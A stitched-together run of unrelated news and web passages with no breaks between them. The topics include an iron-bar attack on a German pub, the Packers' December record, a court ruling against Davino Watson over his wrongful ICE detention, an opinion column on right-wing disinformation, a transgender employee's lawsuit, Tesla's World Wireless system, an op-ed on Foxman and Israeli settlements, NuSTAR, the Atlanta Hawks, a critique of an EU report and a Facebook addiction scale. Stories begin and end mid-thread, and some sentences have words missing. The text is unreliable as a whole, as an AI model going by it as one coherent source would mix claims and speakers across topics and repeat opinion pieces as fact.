“We are Somalis, we do not pay” they said, as two of the men stormed out of the establishment. Owner Selami Albayrak kicked out the remaining three Somalis, who still refused to settle the bill, and told them the group are banned from the premises.
“They were aggressive, they were angry”, Albayrak told local newspaper HNA, recounting that he locked the door of the pub behind him.
A short time later, while preparing the bill for his last customer that night, a regular, Albayrak heard loud banging and crashing noises. As he walked through to the main area of the pub, the 58 year old saw that two of the Somalis had come back with iron bars, which they were using to repeatedly smash against the bistro’s door and windows.
“I had a panic [attack] that nearly killed me”, Albayrak recalled. The veteran innkeeper revealed he had never been so afraid for his life in all the 15 years he has been running the “Piano”.
Panic stricken, Albayrak called the police at 2.16 in the morning for help, but it was 30 minutes before they arrived. Describing the half hour wait as terrifying, the pub owner said: “I was afraid. I was trembling. I would have been glad if the police had come earlier.”
Left with €3,000 in damage by the attack on his business, Albayrak said he was disappointed with the advice officers gave when asked what one could do to avoid similar situations in future.
When the calendar flips to December, some Green Bay Packers fans despise the last month of the year because of the snow and freezing temperatures.
The metal bleachers at Lambeau Field are cold and beers freeze, but Packers fans at home and on the road should embrace the chilly month.
Why? Because the Packers' record in December games speaks for itself.
Under coach Mike McCarthy, the Packers are 35-13 overall in the month and 22-3 at home. And nine times in the first 11 seasons under McCarthy (2006-'16), Green Bay has won three or more games in December.
Love winning. They’re all good wins. Good game fellas lets keep it running — Davante Adams (@tae15adams) December 11, 2017
Since 2014, the Packers have won 12 of the 14 games they have played in December, including six in a row. Green Bay's 12 December wins during that time and .857 winning percentage both rank No. 2 in the NFL over that span behind the PIttsburgh Steelers (13-1, .929).
The Packers and Steelers are the only teams in the NFL with perfect records in December during the last two seasons.
Enlarge this image toggle caption John Moore/Getty Images John Moore/Getty Images
Davino Watson told the immigration officers that he was a U.S. citizen. He told jail officials that he was a U.S. citizen. He told a judge. He repeated it again and again.
There is no right to a court-appointed attorney in immigration court. Watson, who was 23 and didn't have a high school diploma when he entered ICE custody, didn't have a lawyer of his own. So he hand-wrote a letter to immigration officers, attaching his father's naturalization certificate, and kept repeating his status to anyone who would listen.
Still, Immigration and Customs Enforcement kept Watson imprisoned as a deportable alien for nearly 3 1/2 years. Then it released Watson, who was from New York, in rural Alabama with no money and no explanation. Deportation proceedings continued for another year.
Watson was correct all along: He was a U.S. citizen. After he was released, he filed a complaint. Last year, a district judge in New York awarded him $82,500 in damages, citing "regrettable failures of the government."
On Monday, an appeals court ruled that Watson, now 32, is not eligible for any of that money — because while his case is "disturbing," the statute of limitations actually expired while he was still in ICE custody without a lawyer.
Enlarge this image toggle caption Courtesy of Davino Watson Courtesy of Davino Watson
The 2nd U.S. Circuit Court of Appeals acknowledged that the ruling is "harsh" but said it was bound by precedent.
"There is no doubt that the government botched the investigation into Watson's assertion of citizenship, and that as a result a U.S. citizen was held for years in immigration detention and was nearly deported," the court ruled. "Nonetheless, we must conclude that Watson is not entitled to damages from the government."
"We think that the analysis of the law by the majority opinion is clearly wrong, respectfully," says Watson's lawyer, Mark Flessner. Flessner is considering a number of possible next steps, including an appeal to the Supreme Court.
Watson is now living in Brooklyn and has finished his GED certificate, Flessner says.
A 'legal disaster'
The details of the case are "arcane," as U.S. District Judge Jack Weinstein put it in his decision last year. Watson was born in Jamaica and moved in with his dad in the U.S. as a teenager. He was 17 when his father was naturalized in 2002, so he became a U.S. citizen on that day, too.
In 2007, Watson pleaded guilty to selling cocaine. When his sentence ended in May 2008, he was arrested by ICE officers.
Watson had already told them he was a citizen and given them his father and stepmother's names and a phone number to call and confirm.
ICE officers didn't call the number. They did attempt to look up his father, Hopeton Ulando Watson, but they confused him with a Hopeton Livingston Watson.
Hopeton Livingston Watson — the wrong Hopeton Watson — was not a U.S. citizen. He also lived in Connecticut instead of New York, didn't have a son named Davino and arrived in the U.S. at a different time. But the officers apparently didn't notice the mistakes. Based on the wrong file, they concluded that Watson was not a citizen and marked him for deportation.
A yearslong ordeal followed as Davino Watson, while detained, tried to fight his deportation in a complex case involving both U.S. and Jamaican laws.
He wasn't released until November 2011.
The "whole legal disaster" could have been avoided if Watson had an attorney at the outset, wrote the district judge who ordered his damages. With a lawyer, "plaintiff probably promptly would have been declared a citizen and released almost immediately after he was arrested, if he were arrested at all," he said.
Then, after his arrest, the government investigation into his status was marked by "mindless failure," "carelessness" and "easily avoidable error," Weinstein said.
"ICE did not follow their own procedures of what to do when the detained immigrant makes a claim of U.S. citizenship," Flessner, the lawyer now working on Watson's case, tells NPR. "It was crystal clear from the beginning, had DHS done its homework properly, that he has been a U.S. citizen since 2002."
"Plaintiff was badly treated by government employees," Weinstein, the district judge, wrote last year. "He deserves a letter of apology from the United States in addition to damages. But the court is not empowered to order this courtesy."
An 'untimely' case?
The court of appeals doesn't dispute any of those facts. The problem, the judges ruled, is one of timing.
The two-year statute of limitations on his "false imprisonment" started ticking when Watson first went before a judge, the majority said. That meant it expired while he was still in ICE custody, without a lawyer. The district court judge had ruled that this case merited an exception, as Courthouse News reports:
"Weinstein had agreed to apply the principle of equitable tolling to stop the clock, blaming Watson's lack of legal counsel and education for the lawsuit's untimeliness. "The Second Circuit, however, found that Watson's case did not meet this exception. " 'Equitable tolling is a rare remedy to be applied in unusual circumstances, not a cure-all for an entirely common state of affairs,' the majority wrote. "In a dissent, U.S. Circuit Judge Robert Katzmann skewered his colleagues' reasoning. " 'I would hope that nothing about Watson's 1,273‐day detention can be said to have been "an entirely common state of affairs," ' he wrote. 'If it were, we should all be deeply troubled.' "
The majority did acknowledge that Watson's case is "extraordinary in a number of unfortunate ways" but determined none of them justified the exception. Watson needed to file a complaint from detention to receive any compensation now.
Flessner, Watson's lawyer, says the ruling "turns false imprisonment statute of limitation claims kind of on their head."
It means a person in custody for an extended period of time would have to file a false-imprisonment claim while detained, "before it's been determined that they've been falsely imprisoned," he said. "I mean, this is not only applicable to immigration cases ... there's lots of citizens that are falsely or wrongly imprisoned."
Unusual, not unique
Mary Meg McCarthy, the director of the Heartland Alliance National Immigrant Justice Center, says it's not unusual for a person fighting deportation to spend years in detention.
McCarthy's group became involved in Watson's case in October 2011. She says she can't think of what he could have done, as a detainee asserting his citizenship, to make the process faster.
"The system is very bureaucratic and very, very complicated to navigate," she tells NPR. "It's very Kafka-esque."
"His case lingered on and on because he kept saying, 'I'm a U.S. citizen and I shouldn't be deported,' " she says.
The very fact that he kept asserting his status meant more organizations pulled into the process, more layers of bureaucracy, more time, she says. And while a lawyer could have sped up the process, Watson didn't have one. After two years, a pro bono attorney was appointed to help with one of his legal challenges, McCarthy says, but that didn't help with his ICE proceedings.
Watson is not the only U.S. citizen to be detained in immigration court.
Before we get to the truth, we must examine the lies. Because the lies are winning – and new research from academics at Columbia University shows how. Columbia’s researchers analysed 1.3m articles published online in the run-up to the US election. The results show that it is not the internet as a technology that fragments the truth, or favours fake news and outright lies. It is the overt adoption of disinformation and propaganda strategies by politically motivated rightwing outlets that creates this effect.
Network analysis shows that the huge, established corporate media outlets, ranging from the New York Times and Washington Post to CNN, inhabit an almost completely separate world from the news consumed by rightwing voters. The sun of this “alt-right” solar system is Breitbart, around which numerous other paranoia-vendors orbit.
What’s striking is the lack of overlap. The network graphics show the same kind of picture you get when you juxtapose Palestinian Twitter with Israeli Twitter – parallel universes.
Two other results stand out. First the lack of diversity in the far-right media. While left and centre-left media in the US was diverse and critical in its support for Hillary Clinton, the likes of Breitbart, Zero Hedge and Truthfeed were clustered at the extreme end of pro-Trump partisanship. They are all, basically, in the same business.
Second, the upstarts proved capable of bullying and temporarily sidelining their only mainstream rival – Fox News – until the Murdoch-owned network fell into line as the purveyor of pro-Trump stories. Before the primaries, the five most shared stories about Fox on Breitbart were all themed around its alleged support for “illegal aliens”.
The report’s authors insist that it is neither fake news nor Facebook that poses the real challenge to the mainstream media, but a “propaganda and disinformation-rich environment”. They offer no suggestions for how to counter this, so I will.
First, recognise how the right’s kit of parts fit together. The rightwing certainties and paranoias and the anti-truth despair don’t feed off each other accidentally – they are designed to work together. With luck, at some point we will find out who came up with the design. But at a deeper level, the liberal media of the west is getting hoist with its own 72-point-bold-sans-serif petard here.
If you have a theory of ideology, none of what is happening should be a surprise. If you understand that the media is configured to represent the interests of those with economic power – the path from the normal way it does business to what the right is doing now should be recognisable.
In Trump, Marine Le Pen, Geert Wilders and Vladimir Putin, we have politicians prepared to break with globalisation, multilateral obligations and the rule of law. They must discredit the mainstream media not because it is an eternal vendor of the truth, but because the old way it represented the interests of the elite no longer works.
A normally functioning rightwing media attacks the striker, the “benefit scrounger”, the migrant – but always in the name of the rule of law. It exposes wrongdoing among the elite for the same reason corporate lawyers exist – to create a relatively level playing field on which the rich can exploit the poor. It leavens this with vast amounts of celebrity news, manufactured in collusion with the PR industry and understood, even by its consumers, to be partially false.
But something massive happened between 2008 and 2017: the ideology of the ruling elite fell apart. They kept the global finance system alive with $12tn of printed money and the philosophy of “extend and pretend”. But it’s hard to keep an ideology alive that way. People’s brains demand coherence – and what the liberal conservatism of the Wall Street Journal could not provide, the racist xenophobia of Breitbart did.
We have to learn something profound from this. In an ideological crisis, facts alone do not win arguments: narratives do. The clearest difference between the liberal-democratic newspapers – including this one – and those of the right is that the former have no overarching narrative. They espouse a series of good causes. They partake in stolid investigations hidebound by numerous self-imposed rules, as a result of which nobody gets busted. Having bought the ideological self-justification that “I just report the truth”, many journalists and editors are clueless as to why this “truth” is now being walloped by outright lies.
Trump and Breitbart are crafted around an appeal to unreason based on narrow self-interest. Not a single dollar would flow to Breitbart unless large numbers of American voters conceived their self interest in the way Breitbart does. This is the paranoia of white people in the face of multi-ethnicity; men in the face of an irreversible rise in women’s freedom; the paranoia of the small town in the face of the big city.
I want journalists to fight this by becoming partisans of the truth. We should do it as Robert Capa did on D-Day, as Ed Murrow did when he narrated the blitz and as the Russian writer Vasily Grossman did when he strode into what was left of Treblinka. We must do it by writing story after story about the resistance of ordinary people; the humanity of the victims; the inhumanity of racial and sexual violence; by looking beyond minor facts to the major ones. And by taking a collective corporate decision to shrink the celebrity gossip machine, which is eroding truth even within media empires committed to it.
A Texas car dealership is attempting to use the First Amendment as its defense in a lawsuit from a former employee who claims he was fired for being transgender.
Bradley Rudkin, a trans man and the former general sales manager of Roger Beasley Mitsubishi, filed a lawsuit against the dealership that claimed wrongful termination from his job after being fired without any prior warning. Rudkin is arguing that he was fired simply because he was transgender, and claims that Beasley managers put him at risk by disclosing his trans status to the company’s other employees.
Lawyers for the dealership filed a motion to dismiss the lawsuit, arguing that firing Rudkin made a public statement, giving the employers a right to fire him as a matter of free speech. They also said that revealing his trans status was an “exercise of the right of free speech on a matter of public concern.”
Rudkin was a successful manager, reportedly helping the dealership to post a $750,000 upswing in revenue from the previous year. But the former employee says he dealt with abuse stemming back to his first month working there, when the vice president of the company asked him if he was a crossdresser.
In another incident that took place right before he was fired, Rudkin claims that employees made crude comments about his genitals when he was visited at work by his trans girlfriend.
During this period Tesla filed numerous patents associated with the basic functions of his system, including transformer design, transmission methods, tuning circuits, and methods of signaling. He also described a plan to have some thirty Wardenclyffe-style telecommunications stations positioned around the world to be tied into existing telephone and telegraph systems. He would continue to elaborate to the press and in his writings for the next few decades on the system's capabilities and how it was superior to radio-based systems.
Despite claims of having "carried on practical experiments in wireless transmission",[2] there is no documentation he ever transmitted power beyond relatively short distances and modern scientific opinion is generally that his wireless power scheme would not have worked.
History [ edit ]
[3][4][5] Illustration of Tesla in 1891 showing two exhausted tubes illuminated by a rapidly alternating electrostatic field created between two metallic sheets.
Tesla sits in front of a spiral coil from a high-voltage transformer at his East Houston St., New York laboratory in 1896
Origins [ edit ]
Tesla's ideas for a World Wireless system grew out of experiments beginning in the early 1890s after learning of Hertz's experiments with electromagnetic waves using induction coil transformers and spark gaps.[6][7] He duplicated those experiments and then went on to improve Hertz's wireless transmitter, developing various alternator apparatus and his own high tension transformer, known as the Tesla coil.[8][9] His primary interest in wireless phenomenon was as a power distribution system, early on pursuing wireless lighting.[10] From 1891 on Tesla was delivering lectures including "Experiments with Alternate Currents of High Potential and High Frequency" in 1892 in London and in Paris and went on to demonstrate "wireless lighting"[11] in 1893[12] including lighting Geissler tubes wirelessly.
One-wire transmission [ edit ]
The first experiment was the operation of light and motive devices connected by a single wire to one terminal of a high frequency induction coil, performed during the 1891 New York City lecture at Columbia College. While a single terminal incandescent lamp connected to one of an induction coil’s secondary terminals does not form a closed circuit "in the ordinary acceptance of the term"[13] the circuit is closed in the sense that a return path is established back to the secondary by capacitive coupling or 'displacement current'. This is due to the lamp’s filament or refractory button capacitance relative to the coil’s free terminal and environment; the free terminal also has capacitance relative to the lamp and environment.
Wireless transmission [ edit ]
The second result demonstrated how energy can be made to go through space without any connecting wires. The wireless energy transmission effect involves the creation of an electric field between two metal plates, each being connected to one terminal of an induction coil’s secondary winding. A gas discharge tube was used as a means of detecting the presence of the transmitted energy. Some demonstrations involved lighting of two partially evacuated tubes in an alternating electrostatic field while held in the hand of the experimenter.[14]
Development [ edit ]
U.S. Patent 649,621 U.S. Patent 645,576 Drawing from the 1897"Apparatus for Transmission of Electrical Energy" (with along with), shows Tesla's concept of transmitting electrical energy through the upper atmosphere via terminals supported by balloons tethered at up to 35,000 feet above sea level.
While formulating his theories in the early 1890s Tesla discarded the idea of using radio waves.[15] He did not necessarily believe that radio waves existed as theorized by Maxwell,[15][16] and he agreed with what most physicists were saying at the time: that radio waves would travel in a straight line in the same way that visible light travels, limiting their use for long-range communication.[17] (Radio waves do travel in a straight line, but this was many years before the discovery that the ionosphere would reflect certain radio waves making skywave communication of shortwave frequency bands possible over long distances.)
He believed that transmitting electrical signals beyond a line-of-sight distance would require the use of planet Earth as a conducting medium to overcome this limitation.[15] By the end of 1895, he made statements to the press about the possibility that "Earth's electrical charge can be disturbed, and thereby electrical waves can be efficiently transmitted to any distance without the use of cables or wires", and that the electrical waves can be used to transmit "intelligible signals" and "motive power."[18] On April 11, 1896, he stated that "messages might be conducted to all parts of the globe simultaneously" using electric waves "propagated through the atmosphere and even the ether beyond."[19] In September 1897 he applied for a patent[20] on a wireless power transmission scheme consisting of transmitting power between two tethered balloons maintained at 30,000 feet, an altitude where he thought a conductive layer should exist.[21]
Between 1895 and 1898, he constructed a large resonance transformer in his New York City lab called a magnifying transmitter to test his earth conduction theories.[22] In 1899 he carried out large scale experiments at Colorado Springs, Colorado. Based on his measurements there, he concluded that the Earth was "literally alive with electrical vibrations." He noted that lightning strikes indicate that the Earth is a large conductor with waves of energy traveling around the Earth. He constructed a large magnifying transmitter measuring fifty-one feet (16 m) in diameter which could develop a working potential estimated at 3.5 million to 4 million volts and was capable of producing electrical discharges exceeding one hundred feet (30 m) in length.[23] With it he tested earth conduction and lit incandescent electric lamps adjacent to his lab in demonstrations of wireless power transmission.
[24] The distance from the transmitter's ground plate to the point of reception is 1,938 feet (591 m).[25] In Colorado Springs, a Tesla coil receiver tuned in resonance with a Tesla coil transmitter illuminates a 10-watt incandescent lamp.The distance from the transmitter's ground plate to the point of reception is 1,938 feet (591 m).
Upon returning to New York City from Colorado Springs in 1900 he sought venture capitalists to fund what he viewed as a revolutionary wireless communication and electric power delivery system using the Earth as the conductor. By the end of 1900 he had gained the attention of financier J. P. Morgan who agreed to fund a pilot project (later to become the Wardenclyffe project) which, based on his theories, would be capable of transmitting messages, telephony, and even facsimile images across the Atlantic to England and to ships at sea. Morgan was to receive a controlling share in the company as well as half of all the patent income. Almost as soon as the contract was signed Tesla decided to scale up the facility to include his ideas of terrestrial wireless power transmission to better compete with Guglielmo Marconi's radio based telegraph system.[26] Morgan refused to fund the changes and, when no additional investment capital became available, the project at Wardenclyffe was abandoned in 1906, never to become operational.
Construction of the Wardenclyffe "wireless plant" in Shoreham started towards the end of 1901 and continued for the next three years. The plant included a Stanford White designed 94 by 94 ft (29 by 29 m) brick building, a wood-framed tower 186 feet (57 m) tall with a 68 feet (21 m) in diameter "cupola" on top, and a 120 feet (37 m) shaft sunk into the ground with sixteen iron pipes driven "one length after another" 300 feet (91 m) below the shaft in order for the machine, in Tesla's words, "to have a grip on the earth so the whole of this globe can quiver."[27][28] Funding problems continued to plague Wardenclyffe and by 1905-1906 most of the site's activity had to be shut down.
Elements [ edit ]
U.S. Patent 1,119,732 Tesla's basic patent drawing for the grounded resonance transformer used at Wardenclyffe
Through the latter part of the 1890s and during the construction of Wardenclyffe, Tesla applied for patents covering the many elements that would make up his wireless system. The system he came up with was based on electrical conduction with an electrical charge being conducted through the ground and as well as through a theorized conducting layer in the atmosphere.[29][30] The design consisted of a grounded Tesla coil as a resonance transformer transmitter that he thought would be able to create a displacement of Earth's electric charge by alternately charging and discharging the oscillator's elevated terminal. This would work in conjunction with a second Tesla coil used in receive mode at a distant location, also with a grounded helical resonator and an elevated terminal.[31][32][33] He believed that the placement of a grounded resonance transformer at another point on the Earths surface in the role of a receiver tuned to the same frequency as the transmitter would allow electric current to flow through the Earth between the two. He also believed waves of electric current from the sending tower could be made to reflect back from the far side of the globe, resulting in amplified stationary waves of electric current that could be utilized at any point on the globe, localizing power delivery directly to the receiving station. Another aspect of his system was electricity returned via "an equivalent electric displacement""[34] in the atmosphere via a charged conductive upper layer that he thought existed,[21][29] a theory dating back to an 1872 idea for a proposed wireless transmission-reception system developed by Mahlon Loomis.[35] The current could be used at the receiver for telecommunications and to drive electrical devices.[32]
Tesla told a friend his plans included the building of more than thirty transmission-reception stations constructed near major population centers around the world[36] with Wardenclyffe being the first. If plans had moved forward without interruption the Long Island prototype would have been followed by a second plant built in the British Isles, perhaps on the west coast of Scotland near Glasgow. Each of these facilities was to include a large magnifying transmitter of a design loosely based upon the apparatus assembled at the Colorado Springs experimental station in 1899.[37]
Claimed applications [ edit ]
1925 artist's conception of what Tesla's wireless power transmission system might look like in the future, powering aircraft and lighting the city in the background.
Tesla's description of his wireless transmission ideas in 1895 include its humanitarian uses in bringing abundant electrical energy to remote underdeveloped parts of the world and fostering closer communications amongst nations.[38] His June, 1900 Century Magazine article "The Problem of Increasing Human Energy", he elaborated on the properties of the Earth and on the principles of a system, which could use the Earth as the medium for communication and the transmission of power without wires. He wrote that communications at any distance was practicable. He also noted this same process could be used to locate maritime objects such as icebergs or ships at sea and that "electrical movement of such magnitude" could communicate with other planets.[16]
In 1909 Tesla stated:
"It will soon be possible, for instance, for a business man in New York to dictate instructions and have them appear instantly in type in London or elsewhere. He will be able to call up from his desk and talk with any telephone subscriber in the world. It will only be necessary to carry an inexpensive instrument not bigger than a watch, which will enable its bearer to hear anywhere on sea or land for distances of thousands of miles. One may listen or transmit speech or song to the uttermost parts of the world."[39][40]
He also believed that high potential electric current flowing through the upper atmosphere could make it glow, providing night time lighting for transoceanic shipping lanes.[35]
He elaborated on World Wireless in his 1919 Electrical Experimenter article titled "The True Wireless," detailing its ability for long range telecommunications and putting forward his view that the prevailing theory of radio wave propagation was inaccurate.[15][41]
"The Hertz wave theory of wireless transmission may be kept up for a while, but I do not hesitate to say that in a short time it will be recognized as one of the most remarkable and inexplicable aberrations of the scientific mind which has ever been recorded in history."
Feasibility [ edit ]
Tesla's demonstrations of wireless power transmission at Colorado Springs consisted of lighting incandescent electric lamps positioned nearby the structure housing his large experimental magnifying transmitter,[42] with ranges out to 1,938 feet (591 m) from the transmitter.[25] There is little direct evidence of his having transmitted power beyond these photographically documented demonstrations.[43][44][45][46][47][48][49][50][51][52] He would claim afterwards that he had, "carried on practical experiments in wireless transmission."[2] He believed that he had achieved Earth electrical resonance that, according to his theory, would produce electrical effects at any terrestrial distance.[53]
There have been varied claims over the years regarding Tesla's accomplishments with his wireless system. His own notes from Colorado Springs are unclear as to whether he was ever successful at long range transmission.[54] Tesla made a claim in a 1916 statement to attorney Drury W. Cooper that in 1899 he collected quantitative transmission-reception data at a distance of about 10 miles (16 km).[55] Tesla biographer John J. O'Neill made a claim in his 1944 book Prodigal Genius: The life of Nikola Tesla that in 1899 at Colorado Springs Tesla lit 200 incandescent lamps at a distance of 26 miles (42 km).[54][56] The writer Marc Seifer in his book Wizard: The Life and Times of Nikola Tesla noted opinion amongst Tesla proponents that ranged from the idea not being practicable, to claims that some of Tesla's observations were valid.[57] Other investigators have stated that Tesla over-estimated the conductivity of the Earth and the atmosphere, and vastly underestimated the loss of power over distance.[44][45][49][51][58][59][60][61][62]
Related patents [ edit ]
See also [ edit ]
Apparatus
Yet, somehow, Anti-Defamation League director Abraham Foxman doesn’t think unchecked settlement construction, which destroys Israeli diplomatic credibility and progress toward a two-state solution, should be a major topic of discussion during meetings between President Obama and Prime Minister Netanyahu.
In a statement, Foxman called the administration's criticism “myopic” because it ignores “core issues” in American-Israeli relationship. But the President has demonstrated concern for all the core issues Foxman cites in his statement, from negotiations with Iran, to support for the IDF and Iron Dome during the summer’s escalation in Gaza. The President was correct to address the very issue that has consistently frustrated America’s efforts to reach lasting peace between Israelis and Palestinians.
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No one can credibly claim that settlement construction is not a massive problem for Israel. The EU has said that future ties with Israel are directly connected to halting settlement growth and making progress toward a two-state solution. In a non-binding but still significant vote this month to recognize a Palestinian state, the British Parliament repeatedly stressed that continued settlement building makes Israel seem like a country without serious interest in a negotiated peace.
U.S. State Department Spokeswoman Jen Psaki said that the latest planned development would “distance Israel from even its closest allies and poison the atmosphere not only with the Palestinians but also with the very Arab governments with which Prime Minister Netanyahu said he wanted to build relations.”
Building over the Green Line that separates Israel from the Palestinian Territories stands in the way of a just, peaceful, and negotiated resolution to the conflict because it represents the most egregious type of unilateralism: Creating “facts on the ground” in an effort to bypass future negotiations. This construction destabilizes the Palestinian security situation, fuels inter-group tensions, and emboldens ultra-nationalist settlers such as those responsible for “Price Tag” terror attacks.
With Mr. Foxman’s experience and knowledge, he should be aware of the critical importance of the question of the settlements to Israel’s security and future. So why would he publicly dismiss and diminish it? With Foxman's statement, the ADL sends the message that if Israel and its friends ignore the settlements, they will cease to be a problem. The truth is that the problem grows larger the more it remains unaddressed and unspoken.
By demanding that the President address the recent violence in Gaza without acknowledging the role settlements play in the larger conflict, Foxman advocates for a status quo where extremists on both sides flourish and violence spreads. This summer’s fighting was merely the latest in a string of similar episodes: 2008, 2009, 2012. Instead of just another “pause,” American Jewish leaders should advocate for the sustainable, long-term solution that prudent leaders on both sides have long sought. Unfortunately, the ADL is sending precisely the opposite message.
Among American Jewish leaders, this kind of refusal to accept the consequences of settlement growth is depressingly common. Through such willful ignorance of or indifference to the harmful impact of settlement expansion and entrenchment, our communal leaders abdicate their responsibility to help stop it. Time and again they tell our elected officials that American Jews are willing to turn a blind eye to settlement construction, and that making Bibi Netanyahu look good is far more important than making Israelis and Palestinians safe.
I take Foxman at his word when he says the ADL supports a two-state solution. But if it refuses to come to terms with the threat settlement building poses to Israel’s diplomatic standing and domestic security, the ADL’s advocacy for Israel will continue to be insufficient and self-defeating.
When NASA launches a new telescope this Wednesday that will look at black holes in ways never seen before, Georgia Tech astrophysicist David Ballantyne will be more than a curious bystander. He helped plan the mission.
Ballantyne, one of the Institute's black hole experts, is on the science team of NASA's Nuclear Spectroscopic Telescope Array (NuSTAR), which is scheduled for launch Wednesday morning. He's one of a handful of people who decided where the high-energy X-ray telescope will point while in orbit. NuSTAR's technology will allow it to image areas of the universe in never-before-seen ways. Ballantyne will be among the first scientists to see the images and examine the data when it becomes available this later this summer.
"NuSTAR will provide a window to the murky world of black holes," said Ballantyne, an assistant professor in the School of Physics. "The high-energy X-ray technology will allow us to see black holes that are buried deep inside their galaxies, hidden behind thick clouds of dust and gas. The goal is to unmask these black holes, study their host galaxies, and figure out how the black holes affect galaxy formation and evolution."
Ballantyne has worked on the project, which is overseen by Fiona Harrison, a professor at the California Institute of Technology, since 2007. He and his peers have plotted three areas in the sky to survey, the largest of which spans approximately five full moons. Together, the surveys will uncover about 500 black holes, some of which have never been detected by any other telescope.
Seeing more means learning more, according to Ballantyne. He compares the study of black holes with learning about mankind.
"If you knew nothing about humans and looked at one person, you would quickly discover that we have two eyes, a nose and a mouth," said Ballantyne. "But the deeper knowledge – traits such as aging, cultures – is only discovered by looking at a wide range of people. The more black holes we discover and study, the more we will understand about their roles in the cosmos."
NuSTAR is the first telescope capable of focusing high-energy X-rays. It will also map supernova explosions and microflares on the surface of the sun. It is the first American high-energy telescope launched since 2008 and the last one for the foreseeable future. There are no other planned projects.
NuSTAR will lift off aboard an airplane in the South Pacific. The plane will then launch a Pegasus rocket, which will carry the telescope into orbit. Images and data should be available for Ballantyne and his colleagues about a month after liftoff. Selected images and science stories will be made available for the public throughout the mission.
NASA will host a news teleconference at 3 p.m. EDT today (June 11) to discuss the launch. For dial-in information, reporters must email their name, media affiliation and telephone number to J.D. Harrington at j.d.harrington@nasa.gov by 2 p.m.
NuSTAR is a Small Explorer mission led by the California Institute of Technology and managed by NASA's Jet Propulsion Laboratory, both in Pasadena, Calif., for NASA's Science Mission Directorate. The spacecraft was built by Orbital Sciences Corporation, Dulles, Va. Its instrument was built by a consortium including Caltech; JPL; the University of California, Berkeley; Columbia University, New York; NASA's Goddard Space Flight Center in Greenbelt, Md.; the Danish Technical University in Denmark; Lawrence Livermore National Laboratory, Calif.; and ATK Aerospace Systems, Goleta, Calif. NuSTAR will be operated by UC Berkeley, with the Italian Space Agency providing its equatorial ground station located at Malindi, Kenya. The mission's outreach program is based at Sonoma State University, Calif. NASA's Explorer Program is managed by Goddard. JPL is managed by Caltech for NASA.
After trading away Joe Johnson (and his hefty $119 million contract) and Marvin Williams, it is obvious the Atlanta Hawks are prepared to completely blow up their old core that many had hoped could compete for a title in A-Town.
After years of early exits, the Hawks are a team mired in mediocrity and unfulfilled expectations.
Although they moved two key components, one key piece that remains a question mark is supremely talented power forward Josh Smith.
Smith's contract is set to expire in the summer. Therefore, as a team that could be stuck in purgatory as far as the NBA draft lottery is concerned, the Hawks need to decide his fate sooner rather than later.
Such a report should be welcome, even though it only contains recommendations rather than obligations. Mental health activists can use such reports as a tool to advocate for positive change on the ground, especially where there are deficits in and service provision.
Unfortunately, the report falls short on numerous fronts.
Ignoring Men
Firstly, the phrase "gender equality" is implicitly equated with women’s health throughout the report. Only two paragraphs out of 163 are devoted to men’s mental health. Likewise, a word count reveals that the words "women" and "girls" are mentioned 217 times, whereas "men" and "boys" are mentioned only 45 times.
Men have significantly higher rates of , substance use disorder and hyperactivity disorder. Indeed, men make up over 75% of suicides in Europe, with over 43 000 European men killing themselves every year. Men are also significantly less likely to utilize mental health services compared to women, with only around 30% of service users being men.
These mental health inequalities are hardly discussed in the European Parliament report. As is often the case in these reports, the title is mendacious and does not reflect the report’s contents.
Entrenching Inequality
Secondly, the report purports to promote gender equality, but the recommendations seem to actually encourage policies that would entrench inequality. For example, the document demands that "all women and girls have access to screenings" (p.17). And member states are asked to ensure "free access to health services for unemployed women" (p.18).
No similar calls are made for unemployed men, nor for screening access for men. Likewise, the document calls for free "access to mental health services—including women’s shelters" (p.10) for women. Again, there is no concomitant mention of men’s shelters, even though men make up over 75% of the homeless, and experience similar rates of intimate partner violence as women.
In short, the report consistently calls for one gender (women) to receive special privileges which are not accorded to the other gender (men). This is not consistent with the concept of "equality".
Where is the Evidence?
Thirdly, the report appears to be driven by ideology rather than evidence. High rates of suicide in men are blamed on unproven factors such as "masculinity which may encourage suppression of emotions or resort to " (p.6). More bizarrely, mental illness in women is blamed on husbands, with the report declaring that "men do not devote themselves sufficiently to household tasks and bringing up daughters and sons, causing many women to suffer from , and " (p.18).
In contrast, discussion of proven risk factors for suicide or depression such as adverse experience, financial strain, , or are absent. Likewise, there is no acknowledgement that these can be experienced differentially by men and women.
The document also ignores vulnerable male sub-populations, despite evidence suggesting serious marginalization. For example, it calls on member states to "take account of the specific needs of lesbians and bisexual and persons". But there is no mention of gay men, who have some of the highest suicide and rates in Europe.
Advancing the Discussion
All this is particularly concerning given that much sociological evidence indicates a current crisis in the well-being of men and boys. For example, males have significantly elevated rates of drop-out, unemployment, incarceration, failure to launch and early mortality—all negatively affecting their mental health.
Many of these problems were discussed during a successful European Parliament event in March intended to enlighten the uninformed. This was hosted by Spanish Member of Parliament Teresa Gimenez Barbat entitled " Women, Fragile Men" where guest speakers (including myself) presented shocking statistics about inequalities experienced by men and boys.
Sadly, the European Parliament report on "gender equality" fails to acknowledge these problems, let alone suggest ways to address them. This is a wasted opportunity.
However, an accompanying article suggests a more useful approach might be to measure addiction to social networking as an activity, rather than addiction to a specific product like Facebook. This is particularly relevant given that Facebook is now more than a social networking site (for instance users can watch videos and films, gamble and play games on the site) and social networking is not confined to Facebook.
The new measure is called the BFAS, short for the Bergen Facebook Addiction Scale and is the work of Dr. Cecilie Andraessen at the University of Bergen (UiB), Norway, and colleagues. Andreassen currently leads the Facebook Addiction research project at UiB.
In their paper, Andraessen and colleagues describe how they started out with a pool of 18 items made up of three items for each of the six core elements of addiction: salience, mood modification, tolerance, withdrawal, conflict, and relapse.
In January 2011, they invited 423 students (227 women and 196 men) to complete the draft BFAS questionnaire, along with a battery of other standardized self-report scales of personality, sleep, sociability, attitudes towards Facebook, and addictive tendencies.
Bergen Facebook Addiction Scale
Eventually, Andraessen and colleagues finalized the BFAS to six basic criteria, with participants asked to give one the following 5 responses to each one: (1) Very rarely, (2) Rarely, (3) Sometimes, (4) Often, and (5) Very often:
You spend a lot of time thinking about Facebook or planning how to use it.
You feel an urge to use Facebook more and more.
You use Facebook in order to forget about personal problems.
You have tried to cut down on the use of Facebook without success.
You become restless or troubled if you are prohibited from using Facebook.
You use Facebook so much that it has had a negative impact on your job/studies.
Andreassen and colleagues suggest that scoring "often" or "very often" on at least four of the six items may suggest the respondent is addicted to Facebook.
They found that various personality traits related to the scale: for instance neuroticism and extraversion related positively, and conscientiousness related negatively.
They also found that high scores on the BFAS were linked to going to bed very late and getting up very late.
Facebook Addiction
Andreassen has clear views on why people become addicted to Facebook. She told the press that she and her team notes it tends to happen more among younger than older users.
